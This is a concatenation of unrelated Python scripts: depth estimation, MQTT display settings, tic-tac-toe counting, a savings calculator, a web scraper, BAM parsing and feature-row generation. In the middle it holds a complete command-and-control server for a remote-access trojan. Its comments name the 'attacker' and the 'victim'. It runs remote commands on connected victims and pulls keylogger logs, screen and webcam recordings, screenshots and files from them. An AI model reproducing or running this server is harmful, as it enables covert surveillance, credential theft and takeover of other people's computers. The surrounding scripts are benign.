	# Extract depth values. Map to [0-255]
	MAP = np.argmax(Q, axis=0).reshape((img.shape[:2]))
	depth_map = np.zeros((MAP.shape[0], MAP.shape[1]))

	for i in range(MAP.shape[0]):
		for j in range(MAP.shape[1]):
			depth_map[i,j] = depth_samples[MAP[i,j]]

	min_val = np.min(depth_map)
	max_val = np.max(depth_map)

	for i in range(MAP.shape[0]):
		for j in range(MAP.shape[1]):
			depth_map[i,j] = ((depth_map[i,j] - min_val)/(max_val - min_val)) * 255.0

	# Upsampling depth map
	# depth_map = cv2.resize(depth_map, (config.CAMERA_PARAMS['cx'] * 2,config.CAMERA_PARAMS['cy'] * 2), interpolation=cv2.INTER_LINEAR)
	cv2.imwrite(outfile, depth_map)

def dense_depth(args) :

	folder = args.folder
	num_samples = int(args.nsamples)
	pc_path = args.pc
	show_wta = args.show_wta

	scale = int(args.scale)
	max_depth = float(args.max_d)
	min_depth = float(args.min_d)
	patch_radius = int(args.patch_rad)

	pc_score = 0
	if pc_path is not None :

		load_d = np.load(pc_path)
		folder = load_d['dir']
		min_depth = load_d['min_d']
		max_depth = load_d['max_d']
		pc_score = load_d['pc_cost']
		num_samples = pc_score.shape[0]

	# Create depth samples in the specified depth range
	depth_samples = np.zeros(num_samples)
	step = step = 1.0 / (num_samples - 1.0)

	for val in range(num_samples):
		sample = (max_depth * min_depth) / (max_depth - (max_depth - min_depth) * val * step)
		depth_samples[val] = config.CAMERA_PARAMS['fx']/sample
		# depth_samples[val] = sample

	# Get reference image
	file = ''
	for f in sorted(os.listdir(config.IMAGE_DIR)):
		if f.endswith('.png') or f.endswith('.jpg'):
			file = f
			break

	ref_img = cv2.imread(os.path.join(config.IMAGE_DIR.format(folder), file))

	for s in range(scale):
		ref_img = cv2.pyrDown(ref_img)
	# Mean shifting image
	ref_img = cv2.pyrMeanShiftFiltering(ref_img, 20, 20, 1)

	ref_img = cv2.cvtColor(ref_img, cv2.COLOR_BGR2Lab)

	if pc_path is None :

		# Perform plane sweep to calculate photo-consistency loss
		outfile = f'../output/cost_volume_{depth_samples.shape[0]}'
		print("Calculating photoconsistency score...")
		pc_score = plane_sweep(folder, outfile, depth_samples, min_depth, max_depth, scale, patch_radius)
		print("Finished computing photoconsistency score...")

	outfile = f'../output/cost_volume_{depth_samples.shape[0]}__{config.CRF_PARAMS["rgb_std"]}_depth_map.png'
	crf_params = dict()
	crf_params['iters'] = int(args.iters)
	crf_params['pos_std'] = tuple(float(x) for x in args.p_std.split(','))
	crf_params['rgb_std'] = tuple(float(x) for x in args.c_std.split(','))
	crf_params['weight'] = float(args.wt)
	crf_params['max_penalty'] = float(args.max_p)

	# Use photoconsistency score as unary potential
	print("Applying Dense CRF to smoothen depth map...")
	depth_map = DenseCRF(pc_score, ref_img, depth_samples, crf_params, folder, max_depth, min_depth, outfile, show_wta)
	print("Finished solving CRF...")

if __name__ == '__main__' :

	folder = config.IMAGE_DIR
	parser = argparse.ArgumentParser()
	# General Params
	parser.add_argument("--folder", help='sub-directory in dataset dir', default='stone6', required=True)
	parser.add_argument("--nsamples", help='Number of depth samples', default=16, required=True)
	parser.add_argument("--pc", help='Path to npz file', default=None)
	parser.add_argument("--show_wta", help='Save WTA output from photoconsistency score', action='store_true')

  	# CRF Params
	parser.add_argument("--iters", help='Number of iters for CRF inference', default=config.CRF_PARAMS['iters'])
	parser.add_argument("--p_std", help='Std. dev of positional term', default=config.CRF_PARAMS['pos_std'])
	parser.add_argument("--c_std", help='Std. dev of color term', default=config.CRF_PARAMS['rgb_std'])
	parser.add_argument("--wt", help='Weight for truncated linear', default=config.CRF_PARAMS['weight'])
	parser.add_argument("--max_p", help='Max Penalty for truncated linear', default=config.CRF_PARAMS['max_penalty'])

	# Plane sweep Params
	parser.add_argument("--max_d", help='Max depth of computed of 3D scene', default=config.PS_PARAMS['max_depth'])
	parser.add_argument("--min_d", help='Min depth of computed of 3D scene', default=config.PS_PARAMS['min_depth'])
	parser.add_argument("--scale", help='Scale of image (downsampling)', default=config.PS_PARAMS['scale'])
	parser.add_argument("--patch_rad", help='Patch radius for photoconsistency', default=config.PS_PARAMS['patch_radius'])

	args = parser.parse_args()

	dense_depth(args)


#!/usr/bin/env python3
import json
import socket
from uuid import getnode as get_mac
import os
import sys

class Settings:

  def __init__(self, etcf, log):
    self.etcfname = etcf
    self.log = log
    self.mqtt_server = "192.168.1.7"   # From json
    self.mqtt_port = 1883              # From json
    self.mqtt_client_name = "detection_1"   # From json
    self.homie_device = None            # From json
    self.homie_name = None              # From json
    # IP and MacAddr are not important (should not be important).
    if sys.platform.startswith('linux'):
      s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
      s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
      s.connect(('<broadcast>', 0))
      self.our_IP =  s.getsockname()[0]
      # from stackoverflow (of course):
      self.macAddr = ':'.join(("%012x" % get_mac())[i:i+2] for i in range(0, 12, 2))
    elif sys.platform.startswith('darwin'):
      host_name = socket.gethostname()
      self.our_IP = socket.gethostbyname(host_name)
      self.macAddr = ':'.join(("%012x" % get_mac())[i:i+2] for i in range(0, 12, 2))
    else:
      self.our_IP = "192.168.1.255"
      self.macAddr = "de:ad:be:ef"
    self.macAddr = self.macAddr.upper()
    # default config  ~/.trumpybear
    #self.db_path = os.path.join(os.getenv('HOME'),'.trumpybear')
    self.load_settings(self.etcfname)
    self.status_topic = 'homie/'+self.homie_device+'/control/cmd'
    self.log.info("Settings from %s" % self.etcfname)

  def load_settings(self, fn):
    conf = json.load(open(fn))

    self.mqtt_server = conf.get("mqtt_server_ip", "192.168.1.3")
    self.mqtt_port = conf.get("mqtt_port", 1883)
    self.mqtt_client_name = conf.get("mqtt_client_name", "trumpy_67")
    self.homie_device = conf.get('homie_device', "test_bear")
    self.notecmd_sub = conf.get('notecmd_sub', 'homie/test_display/display/cmd/set')
    self.notetext_sub = conf.get('notetext_sub', 'homie/test_display/display/text/set')
    self.font1 = conf.get('font1', "DejaVuSans")
    self.font1sz = conf.get('font1sz', [24,32])
    self.font2 = conf.get('font2', self.font1)
    self.font2sz = conf.get('font2sz', [16,21])
    self.font3 = conf.get('font3', self.font1)
    self.font3sz = conf.get('font3sz', [8,16])
    self.deflt_font = conf.get('Default_Font', 1)
    self.stroke_fill = conf.get("stroke_fill", "white")
    self.background = conf.get('background', "black")
    self.fullscreen = conf.get("fullscreen", True)
    #
    self.luma_args = conf.get('luma_args', ['--display', 'sh1106'])
    self.width = conf.get('width', None)
    self.height = conf.get('height', None)

  def print(self):
    self.log.info("==== Settings ====")
    self.log.info(self.settings_serialize())

  def settings_serialize(self):
    st = {}
    st['mqtt_server_ip'] = self.mqtt_server
    st['mqtt_port'] = self.mqtt_port
    st['mqtt_client_name'] = self.mqtt_client_name
    st['homie_device'] = self.homie_device
    st['homie_name'] = self.homie_name
    st['notecmd_sub'] = self.notecmd_sub
    st['notetext_sub'] = self.notetext_sub
    st['font1'] = self.font1
    st['font1sz'] = self.font1sz
    st['font2'] = self.font2
    st['font2sz'] = self.font2sz
    st['font3'] = self.font3
    st['font3sz'] = self.font3sz
    st['Default_Font'] = self.deflt_font
    st['stroke_fill'] = self.stroke_fill
    st['background'] = self.background
    st['fullscreen'] = self.fullscreen
    st['width'] = self.width
    st['height'] = self.height
    st['luma_args'] = self.luma_args

    str = json.dumps(st)
    return str

  def settings_deserialize(self, jsonstr):
    st = json.loads(jsonstr)


from itertools import combinations_with_replacement

arr = ["X","O"," "]
r = 3

comb = combinations_with_replacement(arr,r)

lis = []

for i in comb:
    i = ''.join(i)
    lis.append(i)

comb1 = combinations_with_replacement(lis,3)
count = 0

#checks the board is valid or not
def validTicTacToe(board):
    count_x, count_o = 0,0
    # count
    for i in range(len(board)):
        for j in range(len(board[0])):
            if board[i][j] == "X":
                count_x += 1
            elif board[i][j] == "O":
                count_o += 1

    if count_o not in {count_x, count_x-1}:
        return False

    def isWinner(player):
        for i in range(3):
            if board[i][0] == board[i][1] == board[i][2] == player:
                return True

            if board[0][i] == board[1][i] == board[2][i] == player:
                return True

        if board[0][0] == board[1][1] == board[2][2]  == player or board[0][2] == board[1][1] == board[2][0] == player:
            return True

        return False

    if isWinner("X") and count_x != count_o + 1:
        return False
    if isWinner("O") and count_x != count_o:
        return False

    return True

for i in comb1:
    if validTicTacToe(list(i)):
        count = count+1
        # uncomment this to print the all possiable boards
        print("\n".join(map(str,list(i))))
        print("--------------------------")

#prints count the all possible boards
print(count)


import pandas as pd
import matplotlib.pyplot as plt

"x is per month saving amount"
"Let x be constant"

x = int(input())

"y is the constant return percentage of the investment"

y = int(input())
y = y/100

"n is the number of years for which the calculation is needed"

n = int(input())

def calc(a,b,c):
    if c == 1:
        z = (a + a*b)
    else:
        z = (a + a*b)
        z = z + calc(a+z,b,c-1)
    return z

l1=[]
l1.append(0)
for i in range(1,n+1):
    l1.append(i)

l2=[]
l2.append(x)
for i in range(1,n+1):
    l2.append(calc(x,y,i))

data = {'Year': l1, 'Your Money': l2}
df = pd.DataFrame(data,columns=['Year','Your Money'])
print(df)

df.plot(x ='Year', y='Your Money', kind = 'bar')
plt.show()


from itertools import combinations

def solution(l):

    l.sort()
    l.reverse()

    combList = []
    integerList = []
    if (sum(l) % 3 == 0): ##if reversed list at its largest is divisble by 3 then stop the program and return
        strings = [str(l) for l in l]
        temp = "".join(strings)
        integer = int(temp)
        return integer
    else:
        length = range(1,len(l))
        for i in length:
            comb = list(combinations(l,i))
            for j in range(len(comb)):
                if (sum(comb[j]) % 3 == 0):
                    combList.append(comb[j])

    for i in range(len(combList)):
        temp = sorted(combList[i])
        if len(temp) == 1:
            combList[i] = temp
            strings = [str(combList[i]) for combList[i] in combList[i]]
            joined = "".join(strings)
            integerList.append(int(joined))
        else:
            temp.reverse()
            combList[i] = temp
            strings = [str(combList[i]) for combList[i] in combList[i]]
            joined = "".join(strings)
            integerList.append(int(joined))

    if not integerList:
        return 0
    else:
        return max(integerList)

listofDigits  = [3,1,4,1,5,9]
print(solution(listofDigits))


import requests

from bs4 import BeautifulSoup as bs
from concurrent.futures import ThreadPoolExecutor, as_completed
from pprint import pprint

def scrape():
    '''
    Scrapes all the possible countries in the Kattis ranklist.
    '''

    def wrapped_get(url, country):
        r = requests.get(url)
        try:
            if r.ok:
                soup = bs(r.content, features='lxml')
                return country, soup.find('div', class_='breadcrumb top_bar-item').text.strip()
            return None
        except:
            return None

    # Alpha-3 codes
    # Taken from https://en.wikipedia.org/wiki/ISO_3166-1_alpha-3#Officially_assigned_code_elements
    data = [
        'ABW', 'AFG', 'AGO', 'AIA', 'ALA', 'ALB', 'AND', 'ARE', 'ARG', 'ARM', 'ASM',
        'ATA', 'ATF', 'ATG', 'AUS', 'AUT', 'AZE', 'BDI', 'BEL', 'BEN', 'BES', 'BFA',
        'BGD', 'BGR', 'BHR', 'BHS', 'BIH', 'BLM', 'BLR', 'BLZ', 'BMU', 'BOL', 'BRA',
        'BRB', 'BRN', 'BTN', 'BVT', 'BWA', 'CAF', 'CAN', 'CCK', 'CHE', 'CHL', 'CHN',
        'CIV', 'CMR', 'COD', 'COG', 'COK', 'COL', 'COM', 'CPV', 'CRI', 'CUB', 'CUW',
        'CXR', 'CYM', 'CYP', 'CZE', 'DEU', 'DJI', 'DMA', 'DNK', 'DOM', 'DZA', 'ECU',
        'EGY', 'ERI', 'ESH', 'ESP', 'EST', 'ETH', 'FIN', 'FJI', 'FLK', 'FRA', 'FRO',
        'FSM', 'GAB', 'GBR', 'GEO', 'GGY', 'GHA', 'GIB', 'GIN', 'GLP', 'GMB', 'GNB',
        'GNQ', 'GRC', 'GRD', 'GRL', 'GTM', 'GUF', 'GUM', 'GUY', 'HKG', 'HMD', 'HND',
        'HRV', 'HTI', 'HUN', 'IDN', 'IMN', 'IND', 'IOT', 'IRL', 'IRN', 'IRQ', 'ISL',
        'ISR', 'ITA', 'JAM', 'JEY', 'JOR', 'JPN', 'KAZ', 'KEN', 'KGZ', 'KHM', 'KIR',
        'KNA', 'KOR', 'KWT', 'LAO', 'LBN', 'LBR', 'LBY', 'LCA', 'LIE', 'LKA', 'LSO',
        'LTU', 'LUX', 'LVA', 'MAC', 'MAF', 'MAR', 'MCO', 'MDA', 'MDG', 'MDV', 'MEX',
        'MHL', 'MKD', 'MLI', 'MLT', 'MMR', 'MNE', 'MNG', 'MNP', 'MOZ', 'MRT', 'MSR',
        'MTQ', 'MUS', 'MWI', 'MYS', 'MYT', 'NAM', 'NCL', 'NER', 'NFK', 'NGA', 'NIC',
        'NIU', 'NLD', 'NOR', 'NPL', 'NRU', 'NZL', 'OMN', 'PAK', 'PAN', 'PCN', 'PER',
        'PHL', 'PLW', 'PNG', 'POL', 'PRI', 'PRK', 'PRT', 'PRY', 'PSE', 'PYF', 'QAT',
        'REU', 'ROU', 'RUS', 'RWA', 'SAU', 'SDN', 'SEN', 'SGP', 'SGS', 'SHN', 'SJM',
        'SLB', 'SLE', 'SLV', 'SMR', 'SOM', 'SPM', 'SRB', 'SSD', 'STP', 'SUR', 'SVK',
        'SVN', 'SWE', 'SWZ', 'SXM', 'SYC', 'SYR', 'TCA', 'TCD', 'TGO', 'THA', 'TJK',
        'TKL', 'TKM', 'TLS', 'TON', 'TTO', 'TUN', 'TUR', 'TUV', 'TWN', 'TZA', 'UGA',
        'UKR', 'UMI', 'URY', 'USA', 'UZB', 'VAT', 'VCT', 'VEN', 'VGB', 'VIR', 'VNM',
        'VUT', 'WLF', 'WSM', 'YEM', 'ZAF', 'ZMB', 'ZWE'
    ]

    with ThreadPoolExecutor(max_workers=6) as executor:
        futures = []
        for country in data:
            futures.append(executor.submit(wrapped_get, f'https://open.kattis.com/countries/{country}', country))

    result = {}
    for f in as_completed(futures):
        ret = f.result()
        if ret:
            code, name = ret
            result[code] = name

    pprint(result)
    return result


import gzip
import typer
import pysam

def main(inbam: str = typer.Argument(..., help="BAM or cram file"),
         outfile: str = typer.Argument(..., help="output file for reads info (XX.reads2refpos.tsv.gz)"),
         reffile: str = typer.Option(None, help="path of referefile file, only needed for cram input")):
    """
    从BAM中读取reads比对到参考上的坐标位置并输出为tsv文件(gzip压缩)
    """
    with gzip.open(outfile, 'wb') as f:
        if inbam.endswith('bam'):
            alnfile = pysam.AlignmentFile(inbam, 'rb')
        elif inbam.endswith('.cram'):
            alnfile = pysam.AlignmentFile(inbam, 'rc', reference_filename=reffile)

        for seg in alnfile:
            if not (seg.is_unmapped or seg.is_duplicate or seg.is_supplementary or seg.is_qcfail or seg.is_secondary):
                # supplementary中会有hardclip导致reads的坐标发生变化
                nread = 1 if seg.is_read1 else 2
                aligned_pairs = seg.get_aligned_pairs(matches_only=True)
                querypos = ','.join([str(x[0]) for x in aligned_pairs])
                refpos = ','.join([str(x[1]) for x in aligned_pairs])
                f.write(f'{seg.query_name}\t{nread}\t{seg.reference_name}\t{querypos}\t{refpos}\n'.encode())

if __name__ == '__main__':
    typer.run(main)


# Server file for multi-client support
# Functions:-
# 1.Sending commands to already connected clients.
# 2.Listen and accept connections from other clients.

# To achieve 2 tasks at same time from same program we will be using concept of Multi-Threading
# Thread 1- accepting connections from other clients
# Thread 2- sending commands to already connected clients

import socket # module help us to create sockets that act as end-point for 2-way communication between 2 processes over a network
import sys  # module help us to operate on command line and execute terminal commands from python script
import threading # module to support multi-threading
import time # module to access computer date/time
from queue import Queue # queue data structure is required
import subprocess
import cv2
import os
import pyautogui
import platform

NUMBER_OF_THREADS=2 # constant storing number of threads required in our program
JOB_NUMBER=[1,2]  # Job number 1-> thread 1 -> listening for new connections
                  #S Job number 2 -> thread 2 -> for sending commands to already connected clients

queue=Queue() # queue data structure is required to support multi-threading

all_connections = [] # list storing connection objects to all the connected clients
all_address = [] # list storing addresses of all connected clients

# function to create a socket
def create_socket():
    try:
        global host  # global variable storing host/ip of server
        global port  # global variable storing port on which server will be listening
        global s     # global variable for socket on which server will be listening
        host=""      # initialize with static ip of server
        port=33333    # any port number which is not reserved port(greater than 1023)
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  # creating a socket object- AF_INET-refers to IPv4 address family,
        #                                                       SOCK_STREAM- use connection-oriented TCP protocol,SOCK_DGRAM- UDP connection

    except socket.error as e:        # Error handling
        print("Socket creation error: "+str(e))    # prints error message

# function to bind socket to server(attacker) and listen to incoming connections from victim

def bind_socket():
    try:
        global host
        global port
        global s
        s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
        print("Binding to port: {}".format(port)) # Attemp to bind socket to host and port

        s.bind((host,port))   # binds socket object s to host/ip of server and port number specified in port variable
                              # if host="" it means that our socket is bind to our local computer and it can accept connections from all available interfaces.
                              # socket.gethostname() returns name of local computer and socket.gethostbyname(socket.gethostname()) it resolves hostname to ip address
                              # if host=socket.gethostname() or local ip then it binds socket to local computer but it only accepts connections from loopback interface
                              # that means only processes within same host will be able to communicate to server thereby ensuring security from external network.
                              # If we use hostname as host then first DNS resolution will be accepted and behaviour of application might be problematic
                              #so prefer to use static IP address

        # if binding is successful then socket goes into listening state
        s.listen(5)  # it can tolerate max. of 5 bad connections after that it will throw an error

    except socket.error as e:                    # Error handling
        print("Socket binding error:- "+str(e)+"\n"+"Retrying...")  # prints socket binding error
        bind_socket()                            # keeps on retrying until socket binding is successful

# Handling multiple connections and saving new connections to list
# Also we need to close all previous connections when we server.py file is restarted

# THREAD 1-> function for closing previous connections, accepting new connections and adding them to list
def accept_connections():

    for c in all_connections:        # closing all previous connections when file is restarted
        c.close()

    del all_connections[:]    # clearing previous information in both lists
    del all_address[:]

    global s

    while True:
        try:
            conn,address=s.accept()  # accpeting a new connection

            s.setblocking(1)  # a socket object can be in 3 modes - blocking modes,non-blocking mode,timeout mode
                              # socket.setblocking() - if 1 is passed -> sets seocket to blocking mode , if 0 is passed-> sets socket to non-blocking mode
                              # by default socket is in blocking mode

            all_connections.append(conn)  # saving conn and address into the list
            all_address.append(address)

            print("Connection has been established!! with victim IP: " + address[0] +" and port: " + str(address[1])) # it prints IP and port of victim to which connection has been established

        except:
            print("Error accepting the connection!!")

# THREAD 2 -> function for 1) Showing all connected clients 2) Selecting one of the clients 3) Sending commands to that client
# Also here we will be building our custom interactive shell for performing above tasks
# Name of our shell -> KD
# Function for creating our shell -> KD
def start_KD():
    while True:
        cmd=input('KD> ')

        # list command -> it will be used to list all connected clients on prompt

        if cmd == "list" :
            list_connections()   # funtion to list all the connected clients
                                 # KD> list
                                 # output will be a list with entry be like:-
                                 # 0 192.168.29.1 50000 -> client_id client_ip client_port

        # select command -> it will be used to select a connected client by using client id
        # KD> select 0 -> select client_id
        elif cmd.split(' ')[0]== "select":
            cl=get_target(cmd)    # get_target() helps us to select client specified in command by passing input to it and return the corresponding connection object

            if cl:  # to check that client is still connected and didn't get disconnected in mean time i.e conn is not None
                send_target_commands(cl[0],cl[1]) # function to send commands to the target/selected victim

        elif cmd == "exit":       # to exit from server program
            for conn in all_connections:
                try:
                    conn.send('exit'.encode())
                except:
                    pass

            break

        elif cmd == "help":    # to print info about all valid commands
            print("1. list - command lists all active clients connected to server")
            print("2. select - command to select the target client (mandatory arguement - client id of target machine)")
            print("3. exit - command to exit from shell\n")

        else:
            print("'"+cmd+"' " + "Command not recognized!!")

# Display all active connections with clients
def list_connections():
    output=""

    for i,conn in enumerate(all_connections):
        try:                                    # sending a dummy request to client to check whether connection is active or not
            conn.send(str.encode(" "))          # sending an empty string
            conn.recv(20480)                   # waiting for client response-> if conn.recv() does not recieve any data then it will throw an exception
        except:
            del all_connections[i]              # if exception is thrown it means client has got disconnected
            del all_address[i]                  # we delete connection object and address for disconnected client
            continue

        output+=str(i) + "            " + str(all_address[i][0]) + "    " + str(all_address[i][1]) + "\n"  # adding information of active client to output

    print("-------ACTIVE CLIENTS--------" + "\n" + "CLIENT ID    IP                PORT" + "\n" + output)    # printing the list of active clients

# Selecting an client out of list of active clients using select command
def get_target(cmd):
    try:
        client_id=cmd.split(" ")[1]   # retrieving client id of target
        client_id=int(client_id)
        conn=all_connections[client_id]   # getiing connection object of target machine
        print("You are now connected to " + str(all_address[client_id][0]))
        print(str(all_address[client_id][0]) + "> ",end="")   # In shell you will be getting output like 192.168.29.1> which will indicate that you are now
                                                       # connected to client and you can now send commands to the client
        return conn,all_address[client_id][0]+'-'+str(all_address[client_id][1])                     # return connection object of target

    except:                                  # if client id mentioned is not present then error is reported
        print("Selected client id not valid")
        return None

# to display recording
def show_video(filepath,ip):
    vid=cv2.VideoCapture(filepath)
    window_name=""
    SCREEN_SIZE=None
    if filepath == os.path.join(ip,'screen.avi'):
        window_name="LiveScreen"
        SCREEN_SIZE=pyautogui.size()
    elif filepath == os.path.join(ip,"webcam2.avi"):
        window_name="WebcamFeed"
        vid2=cv2.VideoCapture(0,cv2.CAP_DSHOW)
        width = int(vid2.get(cv2.CAP_PROP_FRAME_WIDTH))
        height = int(vid2.get(cv2.CAP_PROP_FRAME_HEIGHT))
        SCREEN_SIZE=(width,height)
        vid2.release()
    cv2.namedWindow(window_name,cv2.WINDOW_NORMAL)
    cv2.resizeWindow(window_name,SCREEN_SIZE[0],SCREEN_SIZE[1])
    while vid.isOpened():
        ret,frame=vid.read()
        if ret == True:
            cv2.imshow(window_name,frame)
            cv2.waitKey(25)
        else:
            break

    vid.release()
    cv2.destroyAllWindows()

# to get screen recording of target machine - rec command
def screenCapture(conn,ip):
    print("capturing..")
    l=int(conn.recv(20480).decode())
    conn.send("start".encode())
    f=open(os.path.join(ip,"screen.avi"),"wb")
    curr_len=0
    while curr_len<l:
        print("",end="\r")
        data=conn.recv(204800000)
        curr_len+=len(data)
        print("Progress: {a:.2f} %".format(a=(curr_len/l)*100),end="")
        f.write(data)

    f.close()
    print("\ndone..")
    conn.send("done".encode())
    show_video(os.path.join(ip,'screen.avi'),ip)
    output=conn.recv(10240).decode()
    print(output,end="")

# to capture webcam feed of target - webcam command
def webcamCapture(conn,ip):
    conn.send('capture'.encode())
    l=int(conn.recv(20480).decode())
    if l>0:
        print("capturing..")
        conn.send("start".encode())
        f=open(os.path.join(ip,"webcam2.avi"),"wb")
        curr_len=0
        while curr_len<l:
            print("",end="\r")
            data=conn.recv(204800000)
            curr_len+=len(data)
            print("Progress: {a:.2f} %".format(a=(curr_len/l)*100),end="")
            f.write(data)

        f.close()
        print("\ndone..")
        conn.send("done".encode())
        show_video(os.path.join(ip,'webcam2.avi'),ip)
    else:
        print('Error accessing webcam...')
        conn.send('Error'.encode())
    output=conn.recv(10240).decode()
    print(output,end="")

# to display screenshot of target machine
def show_image(ip):
    im=cv2.imread(os.path.join(ip,'ss.jpg'))
    SCREEN_SIZE=pyautogui.size()
    cv2.namedWindow("Screenshot",cv2.WINDOW_NORMAL)
    cv2.resizeWindow("Screenshot",SCREEN_SIZE[0],SCREEN_SIZE[1])
    cv2.imshow("Screenshot",im)
    cv2.waitKey(3000)
    cv2.destroyAllWindows()

# to get screenshot of target machine - ss command
def screenshot(conn,ip):
    print("clicking")
    l=int(conn.recv(20480).decode())
    conn.send("start".encode())
    curr_len=0
    f=open(os.path.join(ip,"ss.jpg"),"wb")

    while curr_len<l:
        print("",end="\r")
        data=conn.recv(2048000)
        f.write(data)
        curr_len+=len(data)
        print("Progress: {a:.2f} %".format(a=(curr_len/l)*100),end="")

    f.close()
    print("\ndone")
    conn.send("done".encode())
    show_image(ip)
    output=conn.recv(20480).decode()
    print(output,end="")

# to get file from target machine - getfile filepath command
def getfile(conn,cmd,ip):
    filepath=cmd.split(" ")[1]
    conn.send('capture'.encode())
    l=int(conn.recv(20480).decode())
    if l==0:
        print("Error in extracting file...try again")
        conn.send("Error".encode())
    else:
        print("Extracting file")
        conn.send("start".encode())
        filename=os.path.basename(filepath)
        f=open(os.path.join(ip,filename),"wb")
        curr_len=0
        while curr_len<l:
            print(end="\r")
            data=conn.recv(204800)
            curr_len+=len(data)
            f.write(data)
            print("Progress: {a:.2f} %".format(a=(curr_len/l)*100),end="")

        f.close()
        print("\ndone..")
        conn.send("done".encode())

    output=conn.recv(20480).decode()
    print(output,end="")

# to send file to target machine -sendfile filepath command
def sendfile(conn,cmd):
    filepath=cmd.split(" ")[1]
    try:
        f=open(filepath,"rb")
        data=f.read()
        print("Sending File")
        l=len(data)
        conn.send(str(l).encode())
        res=conn.recv(2048)
        conn.send(data)
        curr_len=0
        while curr_len<l:
            print(end="\r")
            x=int(conn.recv(20480).decode())
            curr_len+=x
            print("Progress: {a:.2f} %".format(a=(curr_len/l)*100),end="")

        print("\ndone..")
        conn.send("done".encode())
        f.close()
    except:
        print("Error sending file...try again")
        conn.send("0".encode())

    output=conn.recv(20480).decode()
    print(output,end="")

# to log keys at client side and recieve log file - keylogger command
def keyLogger(conn,ip):
    print("Logging keys...")
    conn.send("log".encode())
    res=conn.recv(1024).decode()
    if res == "done":
        print("Logging of keys done until ESC is pressed by client or keys pressed exceed 50 key presses")
    conn.send("ok".encode())
    l=int(conn.recv(20480).decode())
    print("Extracting logs")
    conn.send("start".encode())
    f=open(os.path.join(ip,"logs.txt"),"w")
    curr_len=0
    while curr_len<l:
        print(end="\r")
        data=conn.recv(204800)
        curr_len+=len(data)
        f.write(data.decode())
        print("Progress: {a:.2f} %".format(a=(curr_len/l)*100),end="")
    f.close()
    print("\nLogs recieved")
    conn.send("receive".encode())
    output=conn.recv(20480).decode()
    print(output,end="")

# Function for sending commands to target machine
def send_target_commands(conn,ip):
    try:
        os.mkdir(os.path.join(os.getcwd(),ip))
    except Exception as e:
        pass
        #print(e)
    while True:  # An infinite loop is written so that we are able to send multiple commands before closing connection
        try:
            cmd=input() # Take input command from user in variable cmd

            if cmd=="quit": # if input command is quit , then we close the connection,socket and terminal
                break

            if len(str.encode(cmd)) > 0: # str.encode() it converts string from unicode format to utf-8 format(byte format)
                                         # data is sent on network in form of bytes only..if length of data is 0 then do nothing otherwise send command to victim

                conn.sendall(str.encode(cmd)) # conn.send() is used to send data over the established connection in form of bytes
                                              # conn.send() returns number of bytes sent which might be less than total data passed to function call
                                              # It is responsibiity of application to check that entire data is transmitted and perform re-transmission if entire data is not sent at once
                                              # conn.sendall() ensures that entire data is sent and it continues to send data untill entire data is being sent and it returns None on success

                client_response=str(conn.recv(20480),"utf-8")   # now we need to accept data from client which will contain output of our command executed on client's terminal
                                                               # conn.recv() takes an arguement which is maximum number of bytes that can be recieved at once
                                                               # conn.recv() return data in bytes which needs to be converted in utf-8 format anf then converted to str format

            if client_response == "Logging_keys":
                keyLogger(conn,ip)
                continue

            if client_response == "capturing":
                screenCapture(conn,ip)
                continue

            if client_response == "clicking":
                screenshot(conn,ip)
                continue

            if client_response == "capturing_webcam" :
                #print("Function call debug")
                webcamCapture(conn,ip)
                continue

            if client_response == "sending_file":
                getfile(conn,cmd,ip)
                continue

            if client_response == "receiving_file":
                sendfile(conn,cmd)
                continue

            print(client_response,end="") #print client response and end="" is used so that next command begins from new line in terminal
        except Exception as e:
            print("Error sending commands!!")

#Thread Flow
# 1.) Create the worker threads
# 2.) Store jobs in Queue because threads looks for jobsin a queue not in a list
# 3.) Create a work function and get the queue
#     -> If job number in queue is 1, then handle the connections
#     -> If job number in queue is 2, then send commands

# Function 1 : To create worker threads
def create_workers():
    for _ in range(NUMBER_OF_THREADS):  # we will create as many as threads we require which is stored in NUMBER_OF_THREADS(2 in this case)
        t=threading.Thread(target=work)  # creation of a thread-> target accepts function as arguement that assigns jobs to this thread i.e work function
        t.daemon=True      # daemonic threads terminate with termination of main program while non-daemonic threads do not terminate with termination of main program
        t.start()

# Function 2-> To create a queue of jobs since threads look for jobs in a queue not list
def create_jobs():
    for x in JOB_NUMBER:
        queue.put(x)           # enqueue job into the queue
    queue.join()               # blocks untill all jobs in queue have been processed and task_done() is recieved for all

# Function 3 -> work function to assign tasks/jobs to threads

def work():
    while True:
        x=queue.get()           # retrieves and removes element at front of queue
        if x == 1:              # it indicates job number 1 i.e thread 1
            create_socket()     # creating socket
            bind_socket()       # binding socket to host and port
            accept_connections() # handling connections from multiple clients
        if x == 2:             # it indicates job number 2 i.e. thread 2
            start_KD()         # start the interactive shell to select target and send commands
            queue.task_done()
        queue.task_done()

def main():
    create_workers()
    create_jobs()

if __name__ == "__main__":
    main()


import json
import numpy as np
SERVER_NAMES = ["amd159", "c220g5-110531", "clnode241", "pc421"]
CLIENT_ID = ["155.98.38.97", "128.110.96.31", "155.98.38.46"]
SERVER_IP = ["128.110.219.70", "128.105.144.137", "130.127.134.5", "155.98.38.21"]
def generate_row(row, name):
    l = list()
    l.append(SERVER_NAMES.index(name))
    print(len(l))
    l.append(CLIENT_ID.index(".".join(str(v) for v  in row["ClientId"])))
    print(len(l))
    if len(row["LastRequestBy"]) == 0:
        l.append(len(CLIENT_ID))
    else:
        l.append(CLIENT_ID.index(".".join(str(v) for v  in row["LastRequestBy"])))
    print(len(l))
    l.append(row["RequestArrivalTime"])
    print(len(l))
    l.append(row["SequenceNumber"])
    print(len(l))
    l.append(row["TimeAtClient"])
    print(len(l))
    if len(row["TimeSinceThisClientsLastRequest"]) == 0:
        l.append(0)
    else:
        l.append(row["TimeSinceThisClientsLastRequest"][0])
    print(len(l))
    if len(row["TimeSinceLastRequest"]) == 0:
        l.append(0)
    else:
        l.append(row["TimeSinceLastRequest"][0])
    print(len(l))
    l += row["Memory"]
    print(len(l))
    l.append(row["CPUUtil"])
    print(len(l))
    if len(row["PastWindowData"]) < 10:
        for i in range(10-len(row["PastWindowData"])):
            l.append(0)
    l += row["PastWindowData"]
    print(len(l))
    for server_ip in SERVER_IP:
        if server_ip in row["History"]:

            if len(row["History"][server_ip]) < 10:
                for i in range(10-len(row["History"][server_ip])):
                    l.append(0)
            l += row["History"][server_ip]
        else:
            for i in range(10):
                l.append(0)
